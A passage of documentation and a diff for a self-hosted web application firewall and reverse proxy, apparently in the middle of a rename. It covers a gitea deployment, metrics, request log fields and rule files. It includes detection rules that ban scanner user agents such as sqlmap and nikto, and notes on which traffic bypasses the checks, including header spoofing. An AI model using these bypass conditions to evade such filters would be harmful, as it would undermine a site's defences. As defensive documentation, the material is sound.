what scrapers hammer, and these limits do most of the work there.
## The shared network
Containers on the shared network skip `servewaf`'s checks:
- The shared network's subnets are `10.99.0.0/24` and `fd10:99::/64`. Docker
gives its containers addresses in the upper half of each, `10.99.0.128/25` and
`fd10:99:0:0:8000::/65`, which `SWWAF_ALLOW_NETS` names.
- traefik is known on the shared network by the site's host name. So a container
there that asks for the site reaches traefik from its own address. An
automation fleet in such a container skips the checks.
- Each subnet's gateway, `10.99.0.1` and `fd10:99::1`, is the host's own address
on it. Requests docker passes on from a published port can come from the
gateway, so the gateways are left out of `SWWAF_ALLOW_NETS`. The network has
IPv6, so a visitor over IPv6 reaches traefik from its own address, and
`servewaf` checks it as itself.
- A container on the shared network that asks for the site at the host's public
address arrives from the gateway. It is checked like any visitor.
- A fleet on another host can have its address added to `SWWAF_ALLOW_NETS`.
Without that, it is counted like any client.
- traefik replaces the `X-Forwarded-For` a visitor sends, by default. Keep it
so: otherwise a visitor could name an address on the shared network, and skip
the checks.
- Anything on the shared network can reach gitea and `servewaf` around `rproxy`.
Put only containers you trust on it.
## gitea's settings
- `REVERSE_PROXY_TRUSTED_PROXIES` names `rproxy`'s fixed addresses, `10.99.0.2`
and `fd10:99::2`. gitea then takes each visitor's address from the `X-Real-Ip`
header, which traefik sets and `rproxy` passes on. Without it, gitea logs
every visitor as `rproxy`.
- `INSTALL_LOCK` is `true`, as "The setup" above says.
## Methods
`rproxy` passes on only these methods: `GET`, `HEAD`, `POST`, `OPTIONS`, `PUT`,
`DELETE`, `PATCH` and `QUERY`. gitea 1.27.3 needs no other. Its routes use:
- pages and the API: `GET`, `HEAD`, `POST`, `PUT`, `PATCH` and `DELETE`;
- git's push, clone and fetch over HTTP: `GET`, `POST` and `OPTIONS`;
- LFS: `GET`, `POST` and `PUT`;
- the container registry and the other package registries: `GET`, `HEAD`,
`POST`, `PUT`, `PATCH` and `DELETE`;
- Actions runners: `POST`.
## The log
`rproxy` and `servewaf` write each query string to the log whole. A token sent
in the query string, as `?token=`, is then in the log. Send it in the
`Authorization` header instead.
## Actions runners
A runner on the shared network skips the checks. One on another host is counted
like any client. A runner older than version 0.4 (April 2026) asks for work
every 2 seconds, 1,800 requests an hour. While it runs a job, it reports the
job's log and state every second instead, two requests a second.
So one idle runner makes 1,800 requests an hour, more than the hour limit of
1,500. A busy one, at two requests a second, passes the minute limit of 120
within two minutes. Its address is then banned, its running jobs fail, and each
repeat within a day makes the ban longer. Newer runners ask for work less often.
Put the runners' addresses in `SWWAF_RATE_LIMIT_EXEMPT_NETS`.
## The Core Rule Set's exclusions
`deploy/gitea/crs-exclusions.conf` switches single Core Rule Set rules off where
they refused ordinary gitea requests. `servewaf` loads it from
`SWWAF_CORE_RULE_SET_EXCLUSIONS_FILE`, before the Core Rule Set's rules. Each
exclusion covers one rule, in these places only:
- `q`, the text of every search;
- the query parameters that hold a file name: `file`, `path`, `template`, `body`
and `redirect_to`;
- the query parameters that hold a branch or tag name: `name`, `tag`,
`rule_name` and `refSubUrl`;
- `Referer`, on a page opened from search results or from a file's page;
- the path of a file's page, raw file, blame, history and edit page, and of the
API's call for its contents;
- `name`, the file name of an attachment uploaded through the API;
- the header `Content-Range` of an Actions artifact upload.
gitea reads these as text to search for, as names in a repository, or, for
`Content-Range`, as the part of a file an upload carries. It never runs them as
SQL, a command or a page's script. So an attack that only the excluded rules
would catch there reaches gitea and does nothing. Every other field and path
keeps every rule.
To add an exclusion for a request the Core Rule Set refuses:
1. Find the request in `servewaf`'s log. Its line gives the path and query, and
names the rules in `waf_rule_ids`.
2. For each rule, add a line with `ctl:ruleRemoveTargetById` for the field it
matched. For a field on every path, copy one of the file's `SecAction` lines.
For some paths only, copy one of its `SecRule REQUEST_FILENAME` lines. Give
it a new id. An id from 900000 to 900999 stops the start.
3. Above it, write a one-line comment naming the request it refused.
4. Add the request to `internal/waf/testdata/gitea-requests.txt`, and run
`make check`.
5. Restart `servewaf`.
The Core Rule Set still refuses the page of a file in a directory named `...`,
which reads as path traversal.
With `SWWAF_WAF_BODY_LIMIT` set, it also refuses issue text, comments, wiki
pages and files saved in the web editor that hold shell commands or code.
`make gitea-requests` runs gitea behind `rproxy` and `servewaf` at the defaults,
without these exclusions. It reports each request the Core Rule Set refuses
there.
+8 -9
View File
@@ -1,7 +1,7 @@
# What the image holds # What the image holds
The contents of the `smallwebwaf` image, and how each part is pinned. The image The contents of the `smallwebwaf` image, and how each part is pinned. The image
runs `rproxy` by default, or `servewaf` with `SMALLWEBWAF_COMMAND=servewaf`. runs `rproxy` by default, or `discriminator` with `SWW_COMMAND=discriminator`.
"Deployment" in [`SPEC.md`](../SPEC.md) says why each part is there and why it "Deployment" in [`SPEC.md`](../SPEC.md) says why each part is there and why it
is pinned that way. is pinned that way.
@@ -15,13 +15,12 @@ is pinned that way.
Unpacked, nixpkgs takes about 500 MiB. Unpacked, nixpkgs takes about 500 MiB.
- `runsvinit` as the entrypoint, built from `github.com/peterbourgon/runsvinit` - `runsvinit` as the entrypoint, built from `github.com/peterbourgon/runsvinit`
at a fixed commit hash. at a fixed commit hash.
- The `smallwebwaf` binary, and the user `smallwebwaf` (uid and gid 65532). - The `sww` binary, and the user `sww` (uid and gid 65532).
- The service directory `/etc/service/smallwebwaf`, with the `run` script - The service directory `/etc/service/sww`, with the `run` script
`share/smallwebwaf.run`. `share/sww.run`.
- `/var/lib/smallwebwaf` for `servewaf`'s state files, and - `/var/lib/sww` for `discriminator`'s state files, and `/etc/sww/rules.d` with
`/etc/smallwebwaf/rules.d` with the default rule file the default rule file `share/rules.d/00-default.rules`.
`share/rules.d/00-default.rules`. - `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`.
- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `smallwebwaf healthcheck`.
## Pins ## Pins
@@ -33,4 +32,4 @@ is pinned that way.
- `runsvinit`: the archived repository, unchanged since 2015, at its last commit - `runsvinit`: the archived repository, unchanged since 2015, at its last commit
(`b4b2c78`, eight commits after `v2.0.0`), by commit hash, with a `go.mod` the (`b4b2c78`, eight commits after `v2.0.0`), by commit hash, with a `go.mod` the
build writes. build writes.
- The Go image that builds `smallwebwaf`: by digest. - The Go image that builds `sww`: by digest.
+43 -48
View File
@@ -1,90 +1,85 @@
# The metrics # The metrics
What `GET /_smallwebwaf/metrics` answers with, at `servewaf`'s own address. What `GET /_sww/metrics` answers with, at `discriminator`'s own address.
"Metrics endpoint" in [`SPEC.md`](../SPEC.md) describes the endpoint. Prometheus "Metrics endpoint" in [`SPEC.md`](../SPEC.md) describes the endpoint. Prometheus
keeps the `instance` label as `exported_instance` unless the scrape sets keeps the `instance` label as `exported_instance` unless the scrape sets
`honor_labels: true`. `rproxy` has no metrics. `honor_labels: true`. `rproxy` has no metrics.
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
body bytes, never headers, whatever `SWW_BYTES_COUNT` says.
## Traffic ## Traffic
- `smallwebwaf_requests_total`, `smallwebwaf_request_bytes_total` and - `sww_requests_total`, `sww_request_bytes_total` and
`smallwebwaf_response_bytes_total`, by `status_class` such as `2xx` and by `sww_response_bytes_total`, by `status_class` such as `2xx` and by `action`;
`action`; - `sww_request_duration_seconds` and `sww_upstream_duration_seconds`, as
- `smallwebwaf_request_duration_seconds` and histograms;
`smallwebwaf_upstream_duration_seconds`, as histograms; - `sww_requests_in_flight`: the questions and requests to its own endpoints that
- `smallwebwaf_requests_in_flight`: the questions and requests to its own `discriminator` is handling.
endpoints that `servewaf` is handling.
## Limits and bans ## Limits and bans
- `smallwebwaf_rate_limit_hits_total`, by `window` and by `kind` (`requests`, - `sww_rate_limit_hits_total`, by `window` and by `kind` (`requests`, `bytes` or
`bytes` or `refusals`); `refusals`);
- `smallwebwaf_offences_total`, by `kind`; - `sww_offences_total`, by `kind`;
- `smallwebwaf_bans_made_total`, by `cause`; - `sww_bans_made_total`, by `cause`;
- `smallwebwaf_active_bans` and `smallwebwaf_permanent_bans`. - `sww_active_bans` and `sww_permanent_bans`.
## Attack detection ## Attack detection
- `smallwebwaf_rule_matches_total`, by `rule_id` and `action`, and - `sww_rule_matches_total`, by `rule_id` and `action`, and `sww_rules_loaded`;
`smallwebwaf_rules_loaded`; - `sww_core_rule_set_matches_total`, by `mode` and `rule_id`, for the rules that
- `smallwebwaf_waf_matches_total`, by `mode` and `rule_id`, for the rules that
fired. fired.
## Countries and AS numbers ## Countries and AS numbers
For the `SWWAF_METRICS_TOP_N` busiest of each, the rest as `other`: For the `SWW_METRICS_TOP_N` busiest of each, the rest as `other`:
- `smallwebwaf_country_requests_total`, - `sww_country_requests_total`, `sww_country_request_bytes_total`,
`smallwebwaf_country_request_bytes_total`, `sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by
`smallwebwaf_country_response_bytes_total` and `country`;
`smallwebwaf_country_list_refusals_total`, by `country`; - `sww_asn_requests_total`, `sww_asn_request_bytes_total` and
- `smallwebwaf_asn_requests_total`, `smallwebwaf_asn_request_bytes_total` and `sww_asn_response_bytes_total`, by `asn`.
`smallwebwaf_asn_response_bytes_total`, by `asn`.
## Lookups ## Lookups
- `smallwebwaf_geojs_requests_total` and `smallwebwaf_geojs_failures_total`; - `sww_geojs_requests_total` and `sww_geojs_failures_total`;
- `smallwebwaf_geojs_unanswered_total`: the requests that needed an answer and - `sww_requests_without_geojs_answer_total`: the requests that needed an answer
went on without it; and went on without it;
- with the file source, - with the file source, `sww_lookup_database_last_read_timestamp_seconds` and
`smallwebwaf_lookup_database_last_read_timestamp_seconds` and `sww_lookup_database_read_failures_total`.
`smallwebwaf_lookup_database_read_failures_total`.
## Reputation sources ## Reputation sources
By `source`: each list's URL, each zone, and `abuseipdb`: By `source`: each list's URL, each zone, and `abuseipdb`:
- `smallwebwaf_reputation_hits_total`, `smallwebwaf_reputation_queries_total` - `sww_reputation_hits_total`, `sww_reputation_queries_total` and
and `smallwebwaf_reputation_failures_total`; `sww_reputation_failures_total`;
- `smallwebwaf_reputation_last_fetch_timestamp_seconds`, for a list; - `sww_reputation_last_fetch_timestamp_seconds`, for a list;
- `smallwebwaf_reputation_daily_budget_remaining`, for AbuseIPDB. - `sww_reputation_daily_budget_remaining`, for AbuseIPDB.
## State files ## State files
By `file`: By `file`:
- `smallwebwaf_state_file_writes_total`, - `sww_state_file_writes_total`, `sww_state_file_write_failures_total`,
`smallwebwaf_state_file_write_failures_total`, `sww_state_file_last_write_timestamp_seconds` and `sww_state_file_size_bytes`;
`smallwebwaf_state_file_last_write_timestamp_seconds` and - `sww_state_file_edits_taken_in_total` and
`smallwebwaf_state_file_size_bytes`; `sww_state_file_edits_set_aside_total`;
- `smallwebwaf_state_file_edits_taken_in_total` and - `sww_tracked_clients`: the clients in the table.
`smallwebwaf_state_file_edits_set_aside_total`;
- `smallwebwaf_tracked_clients`: the clients in the table.
## Remote log, alerts and the process ## Remote log, alerts and the process
- while a syslog server is set, `smallwebwaf_remote_log_lines_sent_total`, - while a syslog server is set, `sww_remote_log_lines_sent_total`,
`smallwebwaf_remote_log_lines_dropped_total` and `sww_remote_log_lines_dropped_total` and `sww_remote_log_lines_waiting`;
`smallwebwaf_remote_log_buffer_depth`; - by `destination`, `sww_alerts_sent_total`, `sww_alert_send_failures_total`,
- by `destination`, `smallwebwaf_alerts_sent_total`, `sww_alerts_suppressed_total` and `sww_alerts_dropped_total`;
`smallwebwaf_alerts_failed_total`, `smallwebwaf_alerts_suppressed_total` and
`smallwebwaf_alerts_dropped_total`;
- Go's own `go_` metrics and the process's `process_` metrics. - Go's own `go_` metrics and the process's `process_` metrics.
## When a request is counted ## When a request is counted
`servewaf` counts a denied request at its decision, and a request to its own `discriminator` counts a denied request at its decision, and a request to its
endpoints when it is answered. It counts an allowed request when its report own endpoints when it is answered. It counts an allowed request when its report
comes, with the status, bytes and times the report gives. These are not counted: comes, with the status, bytes and times the report gives. These are not counted:
- a report itself; - a report itself;
+108 -64
View File
@@ -1,32 +1,32 @@
# The request log's fields # The request log's fields
The fields of the JSON objects `rproxy` and `servewaf` write about each request. The fields of the JSON objects `rproxy` and `discriminator` write about each
"Request log" and "The log" in [`SPEC.md`](../SPEC.md) say when a line is request. "Request log" and "The log" in [`SPEC.md`](../SPEC.md) say when a line
written and how the log is sent to a syslog server. A field that does not apply is written and how the log is sent to a syslog server. A field that does not
to a request is left out. apply to a request is left out.
## `servewaf`'s lines ## `discriminator`'s lines
`smallwebwaf servewaf` writes two lines for each question it answers, joined by `sww discriminator` writes two lines for each question it answers, joined by
`request_id`. The field `servewaf_line` says which of the two a line is: `request_id`. The field `discriminator_line` says which of the two a line is:
- `decision`: the line it writes once it has answered the question; - `decision`: the line it writes once it has answered the question;
- `report`: the line it writes when `rproxy`'s report comes, with everything - `report`: the line it writes when `rproxy`'s report comes, with everything
known. The repetition is intended. known. The repetition is intended.
A request to its own endpoints writes one line, without `servewaf_line`. A A request to its own endpoints writes one line, without `discriminator_line`. A
report writes no line but the `report` line of the request it names. report writes no line but the `report` line of the request it names.
These questions write no line: These questions write no line:
- a question refused with `400` (see "The question" under "`servewaf`" in - a question refused with `400` (see "The question" under "`discriminator`" in
[`SPEC.md`](../SPEC.md)); [`SPEC.md`](../SPEC.md));
- a question whose body stopped arriving, which gets no answer. - a question whose body stopped arriving, which gets no answer.
A `report` line: A `report` line:
``` ```
{"type":"request","servewaf_line":"report","time":"2026-10-03T12:00:00.123Z","instance":"fsn1/servewaf","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"waf_score":0,"duration_total":3.217,"duration_checks":0.041,"duration_waf":0.029,"duration_upstream_total":3.104} {"type":"request","discriminator_line":"report","time":"2026-10-03T12:00:00.123Z","instance":"fsn1/discriminator","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"core_rule_set_score":0,"duration_total_ms":3.217,"duration_checks_ms":0.041,"duration_core_rule_set_ms":0.029,"duration_upstream_total_ms":3.104}
``` ```
### Every line ### Every line
@@ -37,14 +37,14 @@ Every one of these lines has:
- the standard web log fields; - the standard web log fields;
- `request_id`, `peer_ip` and `client_group`; - `request_id`, `peer_ip` and `client_group`;
- `asn`, `as_name` and `country`; - `asn`, `as_name` and `country`;
- `action` and `duration_total`. - `action` and `duration_total_ms`.
### Standard web log fields ### Standard web log fields
- `time`: when `servewaf` had read the question's body, RFC 3339 with - `time`: when `discriminator` had read the question's body, RFC 3339 with
milliseconds, in UTC. The `report` line gives the same time as the `decision` milliseconds, in UTC. The `report` line gives the same time as the `decision`
line. line.
- `instance`: `SWWAF_INSTANCE_NAME`. - `instance`: `SWW_INSTANCE_NAME`.
- `client_ip`: the visitor's address, as `rproxy` worked it out. - `client_ip`: the visitor's address, as `rproxy` worked it out.
- `method`, `path` and `query`: the visitor's request. - `method`, `path` and `query`: the visitor's request.
- `scheme`: how the visitor reached `rproxy` or the trusted proxy in front of - `scheme`: how the visitor reached `rproxy` or the trusted proxy in front of
@@ -52,8 +52,9 @@ Every one of these lines has:
- `host`: the site the visitor asked for. - `host`: the site the visitor asked for.
- `protocol`: the question's own, `HTTP/1.1`. - `protocol`: the question's own, `HTTP/1.1`.
- `status`: - `status`:
- on the `decision` line, what `servewaf` answered: `200` for `allow`, the - on the `decision` line, what `discriminator` answered: `200` for `allow`,
status of `deny`, or `0` for `close`, as the visitor is then sent nothing; the status of `deny`, or `0` for `close`, as the visitor is then sent
nothing;
- on the `report` line, what the visitor got, `0` if nothing. - on the `report` line, what the visitor got, `0` if nothing.
- `request_bytes`: - `request_bytes`:
- on the `decision` line, how much of the question's body the Core Rule Set - on the `decision` line, how much of the question's body the Core Rule Set
@@ -61,7 +62,7 @@ Every one of these lines has:
- on the `report` line, the bytes of the visitor's body that `rproxy` read, - on the `report` line, the bytes of the visitor's body that `rproxy` read,
with what a WebSocket carried from the visitor. with what a WebSocket carried from the visitor.
- `response_bytes`: - `response_bytes`:
- on the `decision` line, the body of `servewaf`'s answer; - on the `decision` line, the body of `discriminator`'s answer;
- on the `report` line, the bytes of the answer's body, with what a - on the `report` line, the bytes of the answer's body, with what a
WebSocket carried from the app. WebSocket carried from the app.
- `referer` and `user_agent`. - `referer` and `user_agent`.
@@ -78,66 +79,109 @@ Every one of these lines has:
- lookups are off; - lookups are off;
- the client is not looked up; - the client is not looked up;
- the source cannot place the client; - the source cannot place the client;
- GeoJS had not answered by the time `servewaf` answered. - GeoJS had not answered by the time `discriminator` answered.
- `content_type`: the visitor's `Content-Type`. - `content_type`: the visitor's `Content-Type`.
- `content_length`: the body length the visitor announced. - `content_length`: the body length the visitor announced.
- `request_headers`: the headers listed in `SWWAF_LOG_REQUEST_HEADERS`, by name - `request_headers`: the headers listed in `SWW_LOG_REQUEST_HEADERS`, by name in
in lower case. lower case.
- `has_authorization` and `has_cookie`: true when the request had those headers. - `has_authorization` and `has_cookie`: true when the request had those headers.
Their values are never logged. Their values are never logged.
### Response detail ### Response detail
- `response_content_type`: the type of `servewaf`'s own answer. - `response_content_type`: the type of `discriminator`'s own answer.
- `aborted`: true when `rproxy` went away before the answer. - `aborted`: true when `rproxy` went away before the answer.
### Decision ### Decision
- `action`: what was done: - `action`: what was done:
- `forward`: answered `allow`, so that `rproxy` passes it to the app; - `forward`: answered `allow`, so that `rproxy` passes it to the app;
- `denied`: refused for `SWWAF_DENY_NETS`, or for a reputation source with - `client_denied`: refused for `SWW_DENY_NETS`, for a reputation source with
the action `deny`; the action `deny`, or for a tag in `SWW_TAG_DENY`;
- `banned`: refused under a ban, or for a `ban` rule, a trap path or a - `temporarily_banned`: refused under a ban that runs out, or for a `ban`
CrowdSec decision, each of which bans the client; rule, a trap path or a CrowdSec decision that made such a ban;
- `country_denied`, `rate_limited`, `rule_blocked` and `waf_blocked`: - `permanently_banned`: refused under a ban that never runs out, including a
refused by that check; ban this request made or made permanent;
- `too_large`: over a header limit; - `country_denied`, `client_is_rate_limited`, `blocked_by_block_rule` and
- `admin`: answered at one of `servewaf`'s own endpoints, or `404` for a `blocked_by_core_rule_set`: refused by that check;
path under `/_smallwebwaf/`. - `request_header_too_large`: over a header limit;
- `own_endpoint`: answered at one of `discriminator`'s own endpoints, or
`404` for a path under `/_sww/`.
- `would_action`: in `observe` mode, what `enforce` mode would have done with a - `would_action`: in `observe` mode, what `enforce` mode would have done with a
request it would have refused. `action` then names what was done, normally request it would have refused. `action` then names what was done, normally
`forward`. `forward`.
- `limit_percent` and `limit_percent_setting`: the client's percentage of the - `heuristic`: the heuristic that refused the request, in `observe` mode too. It
rate limits and the setting that lowered it, when one did. `bytes_percent` and is left out when none did.
`bytes_percent_setting` do the same for the byte limits. - `heuristic_figures`: an object of the figures that heuristic acted on. Each
heuristic and its figures:
- `deny_nets`: `netblock`, the entry of `SWW_DENY_NETS` the client is in;
- `active_ban`: `netblock`, the ban's netblock, and `ban_expires`;
- `countries`: `country`, and `setting`, the country list that refused it;
- `tag_deny`: `tag`, the tag of `SWW_TAG_DENY` the request carries;
- `blocklists`: `lists`, the blocklist URLs that list the client;
- `crowdsec`: `scenario`, the decision's scenario, and `expires`, when the
decision ends;
- `dnsbl`: `zones`, the DNS blocklist zones that list the client, their keys
masked;
- `abuseipdb`: `score`, and `min_score`, `SWW_ABUSEIPDB_MIN_SCORE`;
- `rate_limits`: `window`, `count` and `limit`;
- `trap_paths`: `path`, the trap path asked for;
- `rule_files`: `rule_id` and `rule_action`, of the rule that refused it;
- `header_limits`: `fields`, `fields_limit`, `cookies` and `cookies_limit`;
- `core_rule_set`: `score`, and `threshold`, `SWW_WAF_ANOMALY_THRESHOLD`;
- `refusal_limit`: `window`, `count` and `limit`, of the error burst;
- `byte_limits`: `window`, `count` and `limit`, the count in bytes.
- `after_answer_heuristic`: the heuristic that banned the client after
`discriminator` answered the request, in `observe` mode too: `refusal_limit`
or `byte_limits`.
- `after_answer_heuristic_figures`: an object of the figures that heuristic
acted on, as listed above.
`byte_limits` bans when the report comes, so only the `report` line names
it.
- `rate_limit_percent` and `rate_limit_percent_setting`: the client's percentage
of the rate limits and the setting that lowered it, when one did.
`bytes_limit_percent` and `bytes_limit_percent_setting` do the same for the
byte limits.
- `counts`: the client's totals as rate limiting counts them, this request - `counts`: the client's totals as rate limiting counts them, this request
included. It is left out when rate limiting did not count the request. It included. It is left out when rate limiting did not count the request. It
holds: holds:
- `minute`, `hour` and `day`: requests; - `minute`, `hour` and `day`: requests;
- `minute_bytes`, `hour_bytes` and `day_bytes`: bytes. - `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes
`SWW_BYTES_COUNT` names, in that window.
A count can have a fraction (see "Counting method" in A count can have a fraction (see "Counting method" in
[`SPEC.md`](../SPEC.md)). The bytes of an allowed request are counted when [`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its
its report comes. So on the `decision` line, the bytes are without this response are added when its report comes. So on the `decision` line, the
request's. three byte totals leave them out.
- `limit_hit`: the limit broken: - `limit_hit`: the limit broken:
- `minute`, `hour` or `day` for a rate limit; - `minute`, `hour` or `day` for a rate limit;
- `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit; - `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
- `error_burst`. - `minute_refusals` for the error burst (`SWW_ERROR_BURST_THRESHOLD`).
A request whose bytes broke a limit was passed on whole, so its `action` When the bytes counted for a request and its response break a limit, the
stays `forward`. Only its `report` line gives that limit. request has been passed on whole, so its `action` stays `forward`. Only its
`report` line gives that limit.
- `rule_ids`: the rule file rules that matched, in order, up to the one that - `rule_ids`: the rule file rules that matched, in order, up to the one that
refused. refused.
- `waf_score` and `waf_rule_ids`: the Core Rule Set's score and the rules that - `core_rule_set_score` and `core_rule_set_rule_ids`: the Core Rule Set's score
matched, for a request it inspected. and the rules that matched, for a request it inspected.
- `reputation`: the sources the client is on, in this order: - `reputation`: the sources the client is on, in this order:
- blocklist URLs; - blocklist URLs;
- the CrowdSec decision list's URL; - the CrowdSec decision list's URL;
- DNS blocklist zones; - DNS blocklist zones;
- `abuseipdb`. - `abuseipdb`.
- `tags`: the request's tags, sorted, left out when it has none. Each tag and
where it comes from is under "Request tags" in [`SPEC.md`](../SPEC.md).
- `routewatch_tags_missing`: why the request got no tags from routewatch,
present only while `SWW_ROUTEWATCH_URL` is set:
- `no_answer_yet`: routewatch has not answered about this client yet;
- `request_failed`: a query to routewatch failed within the last minute, and
the process log says why;
- `no_route`: routewatch knows no live route for the address.
- `offence`: `limit`, for a request that broke a limit. - `offence`: `limit`, for a request that broke a limit.
- `ban_expires`: when the client's ban ends, for a request that made one or was - `ban_expires`: when the client's ban ends, for a request that made one or was
refused under one: a time, or `permanent`. refused under one: a time, or `permanent`.
@@ -146,33 +190,33 @@ Every one of these lines has:
All in milliseconds: All in milliseconds:
- `duration_total`: - `duration_total_ms`:
- on the `decision` line, from `servewaf` having read the question's body to - on the `decision` line, from `discriminator` having read the question's
the line; body to the line;
- on the `report` line, from `rproxy` having read the request's headers to - on the `report` line, from `rproxy` having read the request's headers to
the end of the answer. the end of the answer.
- `duration_checks`: to the end of the checks; - `duration_checks_ms`: to the end of the checks;
- `duration_waf`: the part of that the Core Rule Set took; - `duration_core_rule_set_ms`: the part of that the Core Rule Set took;
- `duration_upstream_total`: on the `report` line of an allowed request, from - `duration_upstream_total_ms`: on the `report` line of an allowed request, from
the hand-over to the app to the end of the answer. the hand-over to the app to the end of the answer.
### Requests to its own endpoints ### Requests to its own endpoints
The line of a request to `servewaf`'s own endpoints has these fields, with these The line of a request to `discriminator`'s own endpoints has these fields, with
meanings where they differ: these meanings where they differ:
- `client_ip` and `peer_ip`: the request's TCP peer. - `client_ip` and `peer_ip`: the request's TCP peer.
- `request_id`: a new random one of 26 letters and digits. - `request_id`: a new random one of 26 letters and digits.
- `scheme`: `http`. - `scheme`: `http`.
- `time`: when the request's headers had been read. - `time`: when the request's headers had been read.
- `request_bytes`: the bytes read of a ban to add, and otherwise `0`. - `request_bytes`: the bytes read of a ban to add, and otherwise `0`.
- `action`: `admin`. - `action`: `own_endpoint`.
- `duration_total`: from the request's headers being read to the line. - `duration_total_ms`: from the request's headers being read to the line.
## `rproxy`'s line ## `rproxy`'s line
`smallwebwaf rproxy` writes one short line for each request. `request_id` joins `sww rproxy` writes one short line for each request. `request_id` joins it to
it to `servewaf`'s two. It has these fields and no others: `discriminator`'s two. It has these fields and no others:
- `type`: `request`. - `type`: `request`.
- `time`: when the request arrived, RFC 3339 with milliseconds, in UTC. - `time`: when the request arrived, RFC 3339 with milliseconds, in UTC.
@@ -185,22 +229,22 @@ it to `servewaf`'s two. It has these fields and no others:
a WebSocket carried from the visitor. a WebSocket carried from the visitor.
- `response_bytes`: the bytes of the answer's body, with what a WebSocket - `response_bytes`: the bytes of the answer's body, with what a WebSocket
carried from the app. carried from the app.
- `duration_request`: milliseconds from the request's headers being read until - `duration_request_ms`: milliseconds from the request's headers being read
the app had been sent the whole request, or the answer started if that was until the app had been sent the whole request, or the answer started if that
sooner. It includes the wait for `servewaf`. was sooner. It includes the wait for `discriminator`.
- `duration_response`: milliseconds from then until the end of the answer. - `duration_response_ms`: milliseconds from then until the end of the answer.
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It - `disposition`: what was done with the request: `allow`, `deny` or `close`. It
is `servewaf`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is left is `discriminator`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is
out when: left out when:
- `servewaf` was not asked, as for the health check; - `discriminator` was not asked, as for the health check;
- the visitor went away while `servewaf` was being asked; - the visitor went away while `discriminator` was being asked;
- `servewaf`'s answer had no valid `X-Smallwebwaf-Disposition`; - `discriminator`'s answer had no valid `X-Sww-Disposition`;
- `rproxy` could not pass on `servewaf`'s answer, and answered `502`. - `rproxy` could not pass on `discriminator`'s answer, and answered `502`.
- `default_disposition`: `true` when `SWRP_DEFAULT_DISPOSITION` gave - `default_disposition`: `true` when `SWRP_DEFAULT_DISPOSITION` gave
`disposition`, and otherwise left out. `disposition`, and otherwise left out.
For example: For example:
``` ```
{"type":"request","time":"2026-10-03T12:00:00.123Z","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","client_ip":"203.0.113.9","host":"app.example","method":"GET","path":"/","query":"","status":200,"request_bytes":0,"response_bytes":5120,"duration_request":1.204,"duration_response":3.104,"disposition":"allow"} {"type":"request","time":"2026-10-03T12:00:00.123Z","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","client_ip":"203.0.113.9","host":"app.example","method":"GET","path":"/","query":"","status":200,"request_bytes":0,"response_bytes":5120,"duration_request_ms":1.204,"duration_response_ms":3.104,"disposition":"allow"}
``` ```
+9 -8
View File
@@ -32,7 +32,7 @@ scanner-agent user_agent ban (?i)\b(sqlmap|nikto|nuclei|wpscan)\b
## The default file ## The default file
The image ships one file, `share/rules.d/00-default.rules`, installed as The image ships one file, `share/rules.d/00-default.rules`, installed as
`/etc/smallwebwaf/rules.d/00-default.rules`: `/etc/sww/rules.d/00-default.rules`:
``` ```
# 00-default.rules: probes no real visitor sends, anchored at the site root # 00-default.rules: probes no real visitor sends, anchored at the site root
@@ -54,19 +54,20 @@ empty-agent user_agent log ^$
## A file of your own ## A file of your own
`servewaf` reads the rule files in its own container. Rules of your own go in a `discriminator` reads the rule files in its own container. Rules of your own go
file named to sort after the default, such as `50-gitea.rules`: in a file named to sort after the default, such as `50-site.rules`:
``` ```
# 50-gitea.rules: WordPress probes, which gitea never serves # 50-site.rules: WordPress probes, which this site never serves
wp-probe path ban (?i)^/(wp-login\.php|xmlrpc\.php|wp-admin/) wp-probe path ban (?i)^/(wp-login\.php|xmlrpc\.php|wp-admin/)
``` ```
A `Dockerfile` built on the `smallwebwaf` image, for `servewaf` to run from, A `Dockerfile` built on the `smallwebwaf` image, for `discriminator` to run
adds it: from, adds it:
```dockerfile ```dockerfile
COPY 50-gitea.rules /etc/smallwebwaf/rules.d/50-gitea.rules COPY 50-site.rules /etc/sww/rules.d/50-site.rules
``` ```
Or mount it there. A `path` rule applies on every site behind that `servewaf`. Or mount it there. A `path` rule applies on every site behind that
`discriminator`.
+251 -192
View File
@@ -4,9 +4,9 @@ Every setting, its default and the values it takes, in the groups of "Settings"
in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
that take `off`, the `_FILE` form, and what each group does and why. that take `off`, the `_FILE` form, and what each group does and why.
The settings that start with `SWWAF_` are `servewaf`'s. Those that start with The settings that start with `SWW_` are `discriminator`'s. Those that start with
`SWRP_` are `rproxy`'s, and are under "`rproxy`" below. `SMALLWEBWAF_COMMAND` `SWRP_` are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND` chooses
